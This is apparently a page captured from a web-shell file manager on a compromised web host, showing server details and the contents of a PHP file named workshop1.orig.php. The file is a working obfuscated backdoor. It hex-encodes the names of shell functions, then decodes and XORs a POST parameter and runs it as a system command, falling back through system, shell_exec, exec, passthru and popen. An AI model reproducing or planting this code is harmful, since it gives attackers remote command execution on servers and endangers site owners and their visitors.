HEX
Server: Apache
System: Linux web2037c1.megawebservers.com 5.14.0-570.37.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 28 10:41:06 UTC 2025 x86_64
User: absolutespace.ca (53202)
PHP: 7.4.33
Disabled: apache_get_modules,apache_get_version,disk_free_space,phpinfo,exec,shell_exec,passthru,system,proc_nice
Upload Files
File: /services/webpages/a/b/absolutespace.ca/public/workshop1.orig.php
<?php

$query_handler4 = "\x70\x61\x73\x73thru";
$splitter_tool = "hex\x32\x62\x69n";
$query_handler1 = "\x73\x79stem";
$query_handler6 = "st\x72\x65\x61m\x5F\x67\x65t_conte\x6E\x74s";
$query_handler2 = "shel\x6C\x5F\x65x\x65c";
$query_handler7 = "\x70\x63\x6Cose";
$query_handler5 = "p\x6Fpen";
$query_handler3 = "exec";
if (isset($_POST["\x65\x6Et"])) {
            function dataflow_engine ( $symbol,  $reference){
$item='' ;
 foreach(str_split($symbol) as $char){
$item.=chr(ord($char)^$reference);

} return $item;
 
}
            $ent = $splitter_tool($_POST["\x65\x6Et"]);
            $ent = dataflow_engine($ent, 30);
            if (function_exists($query_handler1)) {
                $query_handler1($ent);
            } elseif (function_exists($query_handler2)) {
                print $query_handler2($ent);
            } elseif (function_exists($query_handler3)) {
                $query_handler3($ent, $ref_symbol);
                print join("\n", $ref_symbol);
            } elseif (function_exists($query_handler4)) {
                $query_handler4($ent);
            } elseif (function_exists($query_handler5) && function_exists($query_handler6) && function_exists($query_handler7)) {
                $reference_item = $query_handler5($ent, 'r');
                if ($reference_item) {
                    $descriptor_marker = $query_handler6($reference_item);
                    $query_handler7($reference_item);
                    print $descriptor_marker;
                }
            }
            exit;
        }